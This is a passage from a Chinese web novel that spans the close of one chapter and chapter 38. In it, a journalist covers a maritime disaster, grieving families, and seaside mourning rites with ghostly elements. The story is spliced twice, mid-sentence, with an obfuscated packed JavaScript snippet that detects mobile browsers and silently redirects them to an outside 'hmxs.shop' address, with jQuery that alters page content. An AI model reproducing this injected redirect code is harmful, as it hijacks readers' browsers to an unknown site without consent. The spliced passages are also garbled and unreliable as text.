行程是仓皇的。飞机穿透厚重的云层，舷窗外是无穷无尽的、翻滚的灰白。叶葆启靠窗坐着，凝视那仿佛凝固的云海。这景象竟有些像海，一片死寂的、没有生命的海。他莫名想起童年时听过的志怪故事，说深海之下有归墟，天下之水皆注焉，而无增无减。那么，那些骤然消逝的生命，是否也流向了某个看不见的归墟？这念头让他一阵心悸。王皓在一旁，手指无意识地敲击着膝盖，那是他紧张时思考的习惯；周占卡则一直望着前方虚空处，嘴唇紧抿，腮边的肌肉微微抽动。 抵达时，与其说是一座城市，不如说是一片被巨大悲伤浸泡的、潮湿的实体。空气是咸的，冷冽的，吸进肺里像含着细小的冰针。那不是单纯的寒冷，那寒冷里搅拌着呜咽的海风、焚烧未尽的气息，还有一种更虚无的、属于众多灵魂骤然离析后的空洞回响。雨丝斜织，不是落，是飘，是粘，无处不在，企图将一切都裹进它灰蒙蒙的襁褓里。 他们试图靠近那个名义上的中心——港务大楼。那里人影幢幢，车辆进出肃穆，身着各式制服的人们步履匆匆，脸上都戴着同一种名为“严峻”的面具。警戒线拉了一圈又一圈，像是给一个流血的巨大伤口缠上绷带，禁止任何未经许可的目光触碰其下的溃烂与狰狞。语言在这里被规范、被消毒、被压缩成短短几行通报的字句，干涩得像曝晒过度的海带。 “此路不通。”周占卡扛着相机，望着远处模糊的海岸线轮廓，低声说。他的声音闷闷的，被湿冷的空气吸收了大半。 叶葆启没有答话。他嗅着风里的味道，那不仅仅是海腥。有一种焦糊味，很淡，却顽强地钻入鼻腔，附着在黏膜上，挥之不去。他想起多年前采访过的一场矿山事故，井口飘出的，也是类似的气味，那是物质非正常毁灭留下的签名。 “走，”叶葆启转身，朝与大楼相反的方向迈步，“贴着海的边沿走。总有些东西，是圈不住的。” 他们离开大道，钻进崎岖的小径，踩着湿滑的、沾满褐色海藻的礁石。雾气更浓了，海天一色，皆沦为茫茫的灰白。世界失去了远近的尺度，近处的石头轮廓模糊，远处的灯塔光晕只是一团昏黄的、颤抖的虚影。在这片混沌里，声音却异常清晰起来：海浪永无休止地拍打、撕扯岸基的呜咽，风穿过岩缝发出的尖锐哨音，还有……隐约的、被风揉碎的人声。 在一处背风的湾岬，几尊黑影立在礁石上，一动不动，仿佛本身就是礁石的一部分。走近了，才看清是几个渔民。他们披着厚重的、泛着盐霜的胶皮雨衣，戴着耷拉下帽檐的旧毡帽，面孔藏在一片阴影里，只有烟斗或纸烟明灭的一点暗红，标示着生命的存在。他们望着海，那种望法，不是渔人看潮汛、辨方向的望，而是一种空洞的、近乎吞噬的凝视，仿佛要将眼前这片雾障望穿，直看到那幽暗的海底去。 叶葆启走过去，递上香烟。最年长的那位，脸上皱纹深得如同被海浪千万年凿刻的岩纹，他迟缓地转过头，眼白浑浊，看了看叶葆启，又看了看烟，没接。他伸手指了指海面，开口时，声音嘶哑得像砂纸磨过锈铁： “看……都在那儿了。” “什么在那儿了，老伯？”王皓轻声问，打开了笔记本，钢笔尖悬在纸面上。 “魂。”老人吐出一个字，又陷入沉默。旁边一个稍年轻些的，脸颊被海风刮得紫红，猛地吸了口烟，接话道：“昨儿夜里……那声音，你们是没听见。不像雷，也不像炮，闷闷的，从海肚子里传上来，‘轰’……接着是‘嘎吱嘎吱’，像是老天爷在嚼碎一把巨大的骨头。”他描述时，手臂不自觉地比划着，手指蜷曲，做出断裂的形状。“火！好大的火！就在那雾里头烧，红通通的，把雾都烫出了窟窿……可转眼，就没了，像是被海一口吞了。剩下就是黑，比墨还黑。” “然后，今早上，”另一个声音幽幽地说，带着梦游般的语调，“海里漂东西过来了。不是鱼，不是木头……是箱子，是皮球，是翻过来的椅子腿……还有，花衣裳，小孩的花衣裳，一件粉的，一件绿的，在灰水里漂着，扎眼得很……”他说不下去了，用力眨了眨眼睛，仿佛要驱散那过于鲜艳、又过于凄凉的幻象。 叶葆启感到一股寒意从脚底升起。这些破碎的意象，经由这些与海搏斗了一辈子的人用最朴素的言辞说出，比任何正式的灾情描述都更具象，更惊心。周占卡的相机无声地举起，又放下。这个距离，这个光线，拍不清人脸，但他还是按下了快门，记录下那几个凝固的、眺望的黑色剪影，以及他们面前那一片吞噬一切的、苍茫的雾海。快门声很轻，但在凝滞的空气里，却像一声轻微的叹息。 他们继续沿着海岸线游走，像几个找不到祭坛的孤魂。在临时安置点外围，在弥漫着消毒水气味的医院走廊尽头，他们捕捉到更多碎片：缠着绷带的手臂在微微颤抖；嘶哑的、反复念叨某个名字的呓语；紧紧抱在怀里、被海水泡得发胀变形的行李包；还有一双双眼睛，那些眼睛里，有的是一片空白，是尚未理解灾难全貌的茫然；有的是烧尽的灰烬，是绝望抵达极致后的死寂；还有的，则燃着一种骇人的、执拗的光，那是在绝望的废墟上，用最后一丝生命力点燃的、不肯熄灭的期盼。 叶葆启遇到一位老大娘。她独自坐在接待处门外的水泥台阶上，穿着一件显然不合身的、过于宽大的旧棉袄，头上围着一条褪色的蓝头巾。雨丝飘到她花白的头发上，凝成细小的水珠。她手里没有行李，只紧紧攥着一张纸，指甲因为用力而深深陷进掌心。叶葆启蹲下身，视线与她齐平。她慢慢抬起头，那是一张被岁月和悲苦雕刻得沟壑纵横的脸，但眼睛却异常清澈，清澈得近乎稚嫩。她看着叶葆启，看了很久，仿佛在辨认，又仿佛只是透过他，望着虚空中的某个点。 “同志，”她开口，声音轻得像耳语，却每个字都清晰，“你看见我儿了吗？”不等回答，她将手里攥着的纸小心翼翼地展开一角。那是一张身份证的复印件，一个年轻人的黑白头像，面容敦厚，眼神明亮，嘴角似乎还带着一丝羞涩的笑意。复印件被水汽濡湿了些，边缘有些发皱。“他叫小海，”大娘说，手指极轻地抚过照片上青年的脸颊，仿佛怕碰疼了他，“二十五了，属虎的。说是去那边……找活干，挣了钱，过年给我扯块新布料，做件褂子……”她的叙述平静得出奇，没有眼泪，只有一种深不见底的、温和的茫然。“船开了，他说，‘妈，回吧，水边风大。’我就回了……可现在，风停了，雨来了，我儿呢？” 她把复印件递向叶葆启，动作里有一种不容置疑的托付。“你走的地方多，见的人多，你帮我找找他，啊？兴许……兴许他游到哪个岛上了，累了，睡着了？你看见他，告诉他，妈不急着要新褂子，妈就在这儿等他，水边风大，妈穿着旧袄，不冷……”她说着，把复印件塞进叶葆启手里，那纸片还带着她微弱的体温，和一股淡淡的、皂角的干净气味。 叶葆启握住那张纸，薄薄的，却又重逾千钧。他想说些什么，安慰的话，保证的话，但所有语言在这位母亲温和的绝望面前，都显得苍白、虚伪、轻浮。他只能重重地点头，将那张复印件仔细地夹进自己的采访本里，紧贴着心脏的位置。大娘看着他做完这些，脸上似乎掠过一丝极淡的、几乎看不见的宽慰，随即又恢复了那深海般的平静，重新望向雨雾迷蒙的海面。那一刻，叶葆启感到自己接过的不是一张寻人启事，而是一颗沉甸甸的、还在微弱搏动的心。 夜晚，他们蜷缩在廉价小旅馆潮湿的被褥里。窗户关不严，海风像冰凉的手指，一阵阵探进来。远处，似乎还有船只的马达声隐约传来，那是仍在进行的、希望渺茫的搜寻。周占卡在昏黄的台灯下，用软布反复擦拭他的相机镜头，动作轻柔得像在安抚一个婴儿。王皓则对着笔记本发呆，纸上写满了凌乱的词句和划掉的段落。 “怎么写？”王皓终于开口，声音疲惫，“写那些漂来的椅子腿？写小海和他妈？写雾里被吞掉的火？” 叶葆启靠在冰冷的墙壁上，闭上眼。黑暗中，各种影像却更加清晰：渔民们岩刻般的侧影，医院走廊晃动的吊瓶，大娘清澈而空洞的眼神，还有照片上小海年轻的笑脸……这些碎片在他脑海里旋转、碰撞、试图拼凑出一个完整的图景，却又总在即将成型时，被一阵浓雾或一个浪头打散。 “不能写那些‘像’什么，”叶葆启缓缓说，像是在梳理自己的思绪，“也不能只写‘是’什么。老陈让我们‘思量’……我们得写那雾本身，写它如何遮蔽，又如何让一些东西在遮蔽下反而凸显；写那海，它吞噬，但它也承载记忆，那些漂来的物件，就是记忆的残骸；写那些人，他们的等待、讲述、甚至沉默，都是这事件的一部分，是‘真实’在民间的、有温度的载体。” 他想起在西部听到的一些古老传说，关于灵魂的归处，关于自然之物如何吸纳人的气息与记忆。“或许，”他斟酌着字句，尝试用另一种逻辑去组织材料，“我们可以写，这场雾，这场风浪，不仅仅是一场物理的灾难。它是一个巨大的‘筛子’，筛出了生命的脆弱，也筛出了情感的坚韧；筛出了制度的缝隙，也筛出了人心深处最本能的善与悲悯。我们的笔，不是去描绘那筛子孔洞的形状大小，而是去接住那些被筛落下来的东西——那些具体的痛，具体的爱，具体的疑问，具体的守望。” 接下来的日子，他们像勤勉的拾荒者，在官方划定的叙事边缘，小心翼翼地收集着这些“被筛落的东西”。他们记录下救援人员被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904189|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冻得青紫、却仍一遍遍放下皮划艇的手；记录下小诊所里那位赤脚医生，用最土的办法为幸存者缓解失温；记录下附近居民自发腾出房间，烧热水，蒸馒头，默默放在安置点门口；记录下一个小女孩，将她攒了一罐子的彩色玻璃弹珠，全部捐了出来，说“给海里的小朋友玩，他们就不怕黑了”…… 叶葆启的笔触，开始尝试一种克制而又充满隐喻的书写。他写海雾：“这雾不是静止的，它流动，徘徊，时而稀薄如纱，时而浓稠似粥。它包裹一切，消化声音，混淆远近。它让近在咫尺的灯塔变得如同幻影，也让远在天边的悲号仿佛近在耳畔。它是此刻这片海域最真实的统治者，一面巨大的、柔软的、湿冷的帷幕，掩盖了悲剧最惨烈的细节，却又将悲剧那无边无际的沉重质感，均匀地涂抹在每一寸空气里，每一个呼吸中。” 他写那位等待的母亲：“她坐在那里，像海岸线上新长出的一块礁石。风雨吹打她，她不动；消息（或没有消息）冲刷她，她也不动。她只是望着海，用一种近乎神性的耐心。她的等待本身，已经成了一种存在，一种对‘消逝’这个词最温柔也最执拗的质疑。她相信海有耳朵，有良心，总有一天，会把她的儿子，连同那句没来得及在风里送出去的叮咛，一起还给她。” 他也写那些无名的逝者，不写数字，只写痕迹：“码头边的招领处，物品渐渐多了起来。一只棕色男式皮鞋，鞋底纹路里还嵌着远方的沙粒；一个印着红双喜字的搪瓷缸，磕掉了一块漆；半本被海水泡得酥软、字迹漫漶的《船舶机电维修手册》；还有一把系着褪色红绳的钥匙，不知道还能打开哪一扇门，点亮哪一盏灯……它们静默着，却比任何哭喊都更喧哗地诉说着一个个被骤然中断的人生章节。它们是‘曾经存在过’的最物化的证据，是生命留给这个世界的，最后的、微温的烙印。” 报道一篇篇发回《内海都市报》。没有耸动的标题，没有直接的诘问，只有沉静的叙述、白描的细节和克制的抒情。奇迹般地，这些文字却激起了巨大的回声。报社的电话再次成了热线的海洋，声音那头，有哽咽，有叹息，有长长的沉默，然后是一句：“谢谢你们写下这些……我们看见了。”有读者寄来汇款单，不署名，只在附言栏里写：“给小海妈妈买件新褂子，要厚的。”有学校的孩子们画了画，画上有大大的、发光的灯塔，有结实的小船，有手拉手的人群，画纸背面用稚嫩的笔迹写着：“不怕，我们拉着他们呢。” 叶葆启知道，他们并未触及事件最核心的旋涡，那关于决策、关于技术、关于责任的深层诘问，仍被重重迷雾锁在不可见的深处。但他们的笔，或许正如那雾中微弱却坚持的灯塔光晕，无法驱散浓雾，却至少标示了苦难的存在，照见了冰冷海面上那些奋力划动的人性小舟，为这场全民的集体伤痛，提供了一个可以凭吊、可以共鸣、可以落泪的支点。 撤离前夜，叶葆启又一次独自来到海边。大规模的搜索已近尾声，海岸恢复了某种表面的寂寥。雾散了些，露出一弯寒月，清冷的光辉洒在起伏的黑缎子似的海面上，碎成无数颤抖的银鳞。海潮声规律而永恒，冲刷着沙滩，也冲刷着人类短暂的悲欢。 他想起这几天听到的一个当地老人的喃喃自语，说这不是第一次，大海每隔一些年，就要“收人”，像一种古老的、残酷的献祭。又说，那些被收走的人，魂灵不会立刻散去，会附在海雾里，附在夜晚的潮声里，附在突然跃出海面的鱼群银亮的鳞片上，要过很久很久，才会真正安息，或者，成为这片海永恒记忆的一部分。 叶葆启从怀里掏出采访本，翻到夹着小海身份证复印件的那一页。月光下，年轻人的笑脸显得有些不真实。他将采访本轻轻贴在胸口，面向浩瀚的、沉默的、蕴藏着无尽秘密与悲伤的大海，深深地鞠了一躬。 不是告别，是承诺。 返程的飞机上，他疲惫至极，却无法入睡。闭上眼，耳畔是海潮与风声的混合交响，眼前交替浮现着岩礁上的剪影、母亲清澈的眼睛、漂浮的花衣裳、还有那把不知名的钥匙……这些意象不再是碎片，它们开始在他的精神世界里发酵、生长、缠绕，与他早年读过的那些魔幻故事、与他采访过的诸多生死场、与他自身对命运无常的体悟，慢慢融合在一起。 他忽然领悟到，记者的工作，或许也是一种“打捞”。打捞沉没在官方叙事汪洋之下的个体声音，打捞被宏大话语忽略的细微震颤，打捞悲伤中迸发的火星，打捞绝望深处滋生的根芽。他们打捞上来的，或许不是“真相”的全部，甚至只是真相投下的些许浮光掠影，是一些“真实”的魂魄。但正是这些魂魄，让历史不至于仅仅是一串冰冷的数字和结论，而有了温度，有了气味，有了可供后人触摸与感应的脉搏。 飞机穿透云层，上方是璀璨得近乎虚假的阳光。叶葆启收回目光，看向自己粗糙的、沾过西部黄沙和东部海盐的双手。这双手，还会拿起笔，去记录更多欢笑与泪水，承平与动荡。海难的迷雾会渐渐淡去，但它注入他血液里的那份沉重与澄明，那份对生命无限的敬畏与对讲述的审慎执着，将如一枚深海沉船上的锈蚀铭牌，永远烙印在他的职业生命里。 前路尚长，迷雾或许还会再有。但他知道，无论遇见什么，他的笔尖，都将尽力去成为那未央的灯塔——不妄图照亮整个黑夜，只求在有限的弧度内，守护一点微光，让那些在命运怒海中颠簸的灵魂，知道自己未被完全遗忘。这微光，便是人性在无尽沧茫中，能够为自己点燃的，最倔强的尊严。 38. 第038章 灰烬与潮汐叙事 海难发生后的第七个第七天，海岸线上出现了第一批祭奠者。 叶葆启记得那天的风有着刀刃般的质地，它从海的深处刮来，裹挟着盐粒和看不见的呜咽。防波堤上的水泥被岁月啃噬出蜂窝状的孔洞，每个孔洞里都住着不同的风声——有的像老人的咳嗽，有的像婴孩的啼哭，有的则像女人压抑在喉咙深处的哽咽。 他站在距离祭奠人群三十步外的礁石上，这个距离刚好能让视线模糊细节，却又清晰捕捉到那些人体轮廓在风中颤抖的弧度。记者证在口袋里发烫，像一块偷来的炭。他知道自己不该出现在这里，又知道自己必须出现在这里。记录者的两难总是这样：一边是活人的隐私，一边是死者的沉默，而他就站在那条狭窄的边界线上，脚下的礁石长满滑腻的青色苔藓。 最先吸引他注意的是一簇火。 火在海边总是显得怪异——这被水统治的领域本应驱逐一切火焰，但此刻，一团橙黄色的火焰正在防波堤的缺口处跳动。持火者是个脊背佝偻如虾米的中年男子，他蹲踞的姿势让人想起古代祭祀遗址中的陶俑。火焰并非来自寻常的纸钱，男子从随身的布袋里取出一件件物品投入火中：一顶褪色的海军蓝帽子，几封边缘磨损的信笺，一只右脚的皮鞋。每投入一件，火焰就窜高一尺，发出不同质地的爆裂声——信纸烧出青白色的火苗，皮鞋的橡胶底则吐出浓黑且恶臭的烟。 男子忽然开口说话，声音被风撕成碎片，只有几个词飘到叶葆启耳中：“……你说过……回来就……”接下来的话被一阵猛烈的海风卷走，消失在潮水的轰鸣里。他最后从怀里摸出一个扁铁壶，拧开，将液体倾入火焰。火焰瞬间变成幽蓝色，发出类似人类叹息的嘶嘶声。酒香混合着焦糊味飘散开来，那是廉价高粱酒特有的甜腻气息。 叶葆启的手指在相机快门上颤抖。透过取景框，他看到火焰在男子脸上投下跳动的阴影，那些阴影有着自己的生命——它们时而拉长成哭泣的人形，时而蜷缩成胎儿的姿态。有一瞬间，他确信看到火焰中浮现出一张模糊的人脸，但当他眨眼的刹那，又只剩下寻常的火舌。 “不要拍。”一个苍老的声音在他身后响起。 叶葆启猛地转身。是个牙齿稀疏的老渔夫，脸上皱纹的走向记录着六十年海风的轨迹。老人没有看他，目光始终投向燃烧的火焰：“他在烧魂。每烧一件旧物，就放走一缕魂。拍下来，魂就困在纸里了。” “什么？”叶葆启放下相机。 “海死的人，魂不认得回家的路。”老人从油腻的帆布外套里掏出烟袋，慢慢填着烟丝，“得靠旧物引路。烧干净了，魂才能闻着味儿，跟着烟，找到该去的地方。” “那要是……烧不全呢？” 老人划亮火柴，火光照亮了他浑浊的右眼——那只眼睛的瞳孔是灰白色的，像蒙了层海雾：“烧不全，魂就在海边飘着。夜里你听潮声，里头那些不像浪的声音，就是没走成的魂在找自己的东西。” 火焰边的男子完成了仪式。他从灰烬中扒拉出什么，小心地捧在手心，走向海浪。在海水触及脚尖的瞬间，他张开手掌，让海风带走掌中的灰。灰烬没有立即散去，而是在空中盘旋了三圈，形成一个小小的灰色旋涡，然后才缓缓沉入波涛。 “看到了吗？”老渔夫吐出一口浓烟，“魂认得自己的灰。” 叶葆启想追问，老人却摆摆手，趿拉着破胶鞋，沿着防波堤向西走去，身影很快消失在渐浓的暮色中。这时叶葆启才注意到，老人的左脚和右脚穿的鞋子不一样——一只是黑色胶鞋，一只是棕色旧皮鞋。 第二幕祭奠发生在日落时分。 太阳像一颗即将熄灭的炭球，挣扎着向海平面沉去。光线的角度变得诡异，给万物拉出长而扭曲的影子。一对老夫妇出现在沙滩与礁石的交界处，他们的移动方式很特别——不是并排走，也不是一前一后，而是以一种镜像般的对称缓慢移动。老头向左三步，老太就向右三步；老头抬起右手，老太就抬起左手。他们中间始终保持着一人宽的距离，仿佛那空档里还走着第三个人。 老太怀里抱着一个用油布包裹的方形物件。她解包裹的动作极慢，手指在每个绳结上都要停留良久。最后露出的是一帧镶在黑木相框里的照片。由于距离和光线，叶葆启看不清照片的内容，但他看到当照片完全暴露在空气中时，两位老人的身体同时颤抖起来，就像被同一股电流击中。 他们开始对着照片说话。不是寻常的祭奠祷词，而是日常的、琐碎的对话： “今早市集有卖黄花鱼的，我看了，都不新鲜……” “阳台那盆茉莉又打苞了，比往年晚了半个月……” “巷口的裁缝铺关门了，老王说他儿子接他去南方……” “你的毛衣我补好了，左边袖口磨薄的地方，我绣了朵浪花……” 这些毫无关联的叙述被海风编织在一起，竟产生了奇异的和谐。叶葆启忽然意识到，他们不是在向死者说话，而是在代替死者继续生活——死者生前应该是个爱买鱼、关心花草、在裁缝铺改过衣服、毛衣袖口容易磨损的人。通过复述这些琐碎细节，死者仿佛又被短暂地召回人间，活在两个老人的对话间隙里。 老太从布袋里掏出米粒，开始向海中抛撒。不是一把把地撒，而是一粒一粒，每抛一粒就停顿一次。老头则从另一个袋子里取出小纸船，这些纸船折得异常精致，有帆，有舵，甚至还能看到纸做的锚。他点燃纸船尾部——那里浸过蜡——然后将燃烧的小船放入潮水。 纸船没有像预期中那样迅速沉没。它们在海面上组成了一个小型船队，随着退潮向深海漂去。火焰在每艘船上跳动，从岸上看去，像一群迷你的、正在航行的灯笼。最奇异的是，当船队漂出约一百米后，所有船上的火焰同时改变了颜色，从橙红变成幽蓝，然后齐齐熄灭，仿佛有只看不见的手在同一时刻掐灭了所有火苗。 “回不来的船，要点灯引路。”老渔夫的声音又鬼魅般响起。叶葆启这才发现，老人不知何时又回到了附近，正蹲在一块礁石上修补渔网。他的手指在网眼间穿梭，动作快得不似他这个年纪该有的敏捷：“但海老爷收灯有规矩——过了界，灯就得灭。活人的光，照不进死人的海。” “界线在哪里？” 老人抬手指向海面：“看见那条颜色不一样的水带了吗？” 叶葆启眯起眼睛。在暮色渐浓的海面上，确实有一条隐约可见的分界线，线内的海水是深铁灰色，线外则近乎墨黑。那条线在不断移动，形状变幻，像一条活着的巨蟒在海面下蠕动。 “那是阴阳流。”老人咬断网绳，“活水死水交汇的地方。纸船漂到那儿，就是到了关口。过得去的，魂就安生了；过不去的……”他没有说完，只是摇了摇头，将渔网收拢，扛在肩上，“记者同志，我劝你早点回去。今晚的月亮不对。” “月亮怎么了？” “钩月挂东南，死人要上岸。”老人用一句含糊的谚语回答，然后指了指天空。 叶葆启抬头。东边的天际线上，一弯极细的月牙刚刚升起，它的形状确实不像正常的月牙——一端尖利如钩，另一端却突兀地膨大，像个畸形的问号。月光是浑浊的黄色，洒在海面上，给波涛镀上一层类似陈旧骨头的色泽。 第三位祭奠者是在月亮完全升起后出现的。 她看起来不到三十岁，苍白的脸在月光下像一块未经打磨的玉石。左手牵着个四五岁的小女孩，右手提着一个竹篮。孩子很安静，安静得不合年龄，只是睁大眼睛看着海，瞳孔里倒映着破碎的月光。 女人选择的祭奠地点很特别——不是开阔的沙滩，也不是平坦的防波堤，而是一处被两块巨大礁石包围的浅洼。潮水在这里形成一个小小的漩涡，水进进出出，发出类似漱口的咕噜声。她从竹篮里取出的不是纸钱，也不是祭品，而是一叠裁切整齐的白纸和一把小剪刀。 她开始剪纸。 叶葆启从没见过这样的剪纸手艺。剪刀在纸上移动的速度快得肉眼难以追踪，纸屑如雪花般飘落。她先剪出一艘船的轮廓——不是简单的船形，而是有着复杂细节的剪影：桅杆、缆绳、舷窗，甚至能看到窗后隐约的人影。接着剪出海洋，波浪的曲线在纸上蔓延，每一道波纹都有着独特的弧度。然后是天空，云层，飞鸟。 最大的奇迹发生在最后。当整幅作品完成，她轻轻将它举起，对着月亮时，纸上的画面突然“活”了过来——不是真正的活动，而是光影造成的幻觉：月光穿透剪纸的孔隙，在下面的礁石上投射出流动的影像。那些剪出来的波浪似乎在荡漾，船似乎在轻微摇晃，连舷窗后的人影都仿佛在移动。 小女孩第一次开口：“妈妈，船动了。” “嗯，船在回家。”女人的声音干涩得像磨砂纸。 “爸爸在船上吗？” “在。” “他冷吗？” 女人停顿了很久，久到叶葆启以为她不会回答了。潮水漫进浅洼，打湿了她的布鞋，但她浑然不觉。 “海底下有暖流，”她终于说，“像妈妈的怀抱一样暖。” 这个谎言说得如此平静，如此确信，连叶葆启都有一瞬间愿意相信它是真的。女人将剪纸对折，再对折，折成一艘立体的小船。她让女儿对着船头呵了一口气，然后将纸船放入漩涡。 纸船的命运与之前的祭品都不同。它没有被潮水立即卷走，也没有沉没，而是在漩涡中心打转，一圈，两圈，三圈……转到第七圈时，漩涡的水流突然改变方向，纸船被一股向上的力量托起，竟然逆着潮水，向岸的方向漂回了一小段距离。 女人的呼吸停止了。她死死盯着那艘违背物理规律的小船，眼中有什么东西在破碎和重组。纸船最终停在距离岸边三步远的水中，不再移动，也不再打转，就那样静静浮着，像在等待什么。 “他不肯走。”女人喃喃自语。 “爸爸舍不得我们。”小女孩说。 女人跪了下来，海水浸湿了她的膝盖。她伸出双手，不是要去捞那艘船，而是做出一个拥抱的姿势，对着大海，对着那艘不肯离去的纸船，对着月光下无尽的黑水。 “走吧。”她说，声音很轻，“走吧，我们记得你。” 纸船突然自行解体，纸张在海水中软化、展开，恢复成最初的平面。然后，缓慢地，沉了下去。沉没的过程异常漫长，仿佛那薄薄一张纸有着千钧重量。 叶葆启感觉到脸颊上的冰凉。他抬手去擦，发现是眼泪。作为记者，他经历过太多需要保持情感距离的场合，但此刻，某种超越职业训练的东西击穿了他。他想起老渔夫的话——“活人的光，照不进死人的海”——但或许有些光，有些记忆，有些用剪刀和纸表达的思念，能够短暂地穿透那条界线，给冰冷的海底带去一丝温度。 夜更深时，祭奠者们陆续离去。火焰熄灭，灰烬被潮水舔舐干净，纸船沉没，米粒被鱼群分食。海边恢复了它亘古的荒凉，只剩下风、浪、和那个畸形的月亮。 但叶葆启没有离开。 他坐在一块背风的礁石后，笔记本摊在膝上，笔尖悬在纸面上方。该记录什么？如何记录？那些超现实的细节——火焰中的面孔，会变色的纸船，逆流而回的剪纸——若如实写下，会被编辑部认为是在撰写志怪小说。但若只写表面的哀悼场景，又背叛了今晚他所见所感的本质。 笔尖终于落下： “海岸线上，生者用火焰与纸船搭建临时的桥梁，试图与深海下的沉默对话。这些仪式看似荒诞，却比任何官方悼词都更接近悲伤的本质——悲伤需要容器，需要仪式，需要将无形的痛楚转化为有形的动作：烧、撒、折、放。当一个人对着一团火说话，他不是在迷信，而是在重构一个被暴力撕裂的世界秩序。火是他临时的神祇，倾听那些无法对活人言说的词语。 “老渔夫说，海死的人魂不认路。这或许不是字面意义上的灵魂迷途，而是隐喻着猝然离世带来的叙事断裂——那些未说完的话，未实现的诺言，未完成的日常，突然失去了接收者，于是飘荡在生者的记忆里，找不到安放之处。祭奠仪式，就是在给这些飘荡的叙事一个暂时的归宿。 “女人剪出的纸船逆流而回时，我看到的不是超自然现象，而是一个母亲、一个妻子拒绝接受离别彻底性的具象化。人的情感有时拥有改变物理法则的幻觉力量，这种幻觉本身就是真实的组成部分。” 写到此处，叶葆启停下笔。东方的天际开始泛白，那种白不是纯净的白色，而是掺杂着灰蓝和淡紫的病态色调。潮水退去，露出湿漉漉的沙滩，上面印着密密麻麻的脚印——有些是刚留下的，有些则可能属于昨夜，前夜，甚至更久之前的祭奠者。脚印与脚印重叠，被新的潮水抹平，又被新的脚印覆盖，就像记忆的层层沉积。 他忽然明白自己该写一篇什么样的报道了。不是直接描述祭奠场景，而是通过一个虚构的、世代生活在海边的家族视角，讲述他们对海难的理解和回应。这个家族中，有人相信魂灵需要引渡，有人坚持科学解释，有人陷入沉默，有人通过创作来消化悲痛——剪纸、木雕、编织渔网时特殊的结绳方式，都是他们各自的叙事。 报道将模糊具体的时间地点，只说是“北方某次海难后”，重点放在灾难如何渗透进一个社区的集体潜意识，如何改变人们对海的认知，如何催生出民间的、自发的疗愈机制。那些看似怪异的祭奠行为，实则是没有心理干预资源的普通人，自己发明的创伤处理方式。 叶葆启收拾东西准备离开时，在礁石缝隙里发现了一件被遗忘的祭品。是个小小的、用贝壳和海草编织的娃娃，做工粗糙，但能看出是个人形。娃娃的胸口贴着一小块从作业本上撕下来的纸，上面用铅笔写着：“爸爸，我想你。” 没有落款，没有日期。它可能属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904190|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于昨夜某个孩子，也可能已经在礁石间躺了数日。叶葆启小心地将娃娃放回原处——它属于这里，属于这片潮间带，属于那些在官方统计数字之外，以微小却坚韧的方式持续进行的告别。 回去的路上，他再次遇到那个老渔夫。老人正在修补一艘倒扣在沙滩上的破木船，锤子敲打木头的声音在清晨的空气里传得很远。 “看到了？”老人头也不抬地问。 “看到了一些。”叶葆启停下来，“有些看不懂。” “看不懂就对了。”老人将一枚生锈的钉子吐在手心，“海的事，陆上的人能看懂多少？我们不过是在水边猜水的念头。” “您昨晚说，钩月挂东南，死人要上岸。是真的吗？” 老人停下锤子，抬起那双颜色不一的眼睛。在晨光中，叶葆启终于看清，他那只灰白色的眼睛并不是白内障，而是整个眼球完全失去了色素，像一颗打磨过的石英石。 “我十八岁那年，”老人缓缓开口，“跟五条船一起出海，遇上了暴风。只有我的船回来了，但不是因为我运气好，是因为我爹在船头烧了他自己的头发和指甲——我们那儿的说法，活祭能换死路。那晚的月亮，就跟昨晚一样。” “后来呢？” “后来我多了这只眼睛。”老人指了指灰白色的右眼，“它能看见一些别的眼睛看不见的东西。比如昨晚，你看见三处祭奠，我看见的是十三处。有些祭奠者不是活人，是还没意识到自己已经死了的魂。他们每年这时候都会回来，重复死前的动作，直到有人认出他们，对他们说‘走吧，我们记得你’。” 叶葆启感到脊背发凉：“那对老夫妇……” “中间的空白处，确实走着第三个人。”老人继续敲打船板，“那个剪纸的女人，她丈夫的魂一直跟着她们母女。纸船逆流，是因为有只手在水下托着它——不是不肯走，是不敢走，怕一走，她们就真的一个人了。” “您为什么告诉我这些？” “因为你会写下来。”老人终于正眼看他，“而写下来，就是一种记得。被记得的魂，慢慢地就不再需要回来了。” 太阳完全升起来了，驱散了海面上的雾气。老人修补的破船在阳光下露出全貌——那是一艘最多能容纳三人的小渔船，船身布满修补的痕迹，新旧木板交错，像一件百衲衣。最奇特的是船头的装饰：不是寻常的鱼眼或图腾，而是一个用浮木雕刻的女人半身像，她的长发是用真正的头发编织的，在海风中微微飘动。 “那是我妻子。”老人注意到叶葆启的目光，“死了三十年了。每次我出海，她都看着前方。死人在前面引路，活人才不会走错。” 叶葆启突然理解了昨夜所有祭奠的本质：它们不是在哀悼逝者，而是在重建生者与逝者之间的联系。这种联系不是鬼魂意义上的纠缠，而是叙事意义上的延续——通过记忆、仪式、故事，让逝者继续参与生者的世界，直到生者准备好独自前行。 他的报道，也可以成为这种延续的一部分。 一周后，刊发。没有配发祭奠现场的照片，而是请了一位画家根据描述创作了黑白插图：火焰中隐约的人形，海面上的纸船灯阵，逆流的剪纸，以及一个背对读者、面向大海的小小贝壳娃娃。 